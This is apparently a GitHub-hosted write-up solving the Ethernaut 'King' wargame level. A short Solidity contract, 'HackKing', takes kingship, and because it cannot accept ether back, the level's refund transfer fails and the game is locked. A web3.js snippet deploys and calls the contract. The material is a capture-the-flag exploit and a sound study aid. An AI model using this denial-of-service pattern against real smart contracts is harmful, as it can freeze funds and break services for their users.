Skip to content

Latest commit

 

History

History
17 lines (14 loc) · 516 Bytes

9-king.md

File metadata and controls

17 lines (14 loc) · 516 Bytes

make a contract be the king so that when ethernaut tries to reclaim kingship king.transfer(msg.value); will fail since the contract won't accept eth back.

pragma solidity ^0.8.0;

contract HackKing {
    function makeKing(address payable instance) public payable {
        instance.call{value: msg.value}("");
    }
}
const abi = ...;
const hackKingContract = new web3.eth.Contract(abi, '<contract address>');
hackKingContract.methods.makeKing(instance).send({ from: player, value: toWei('1')});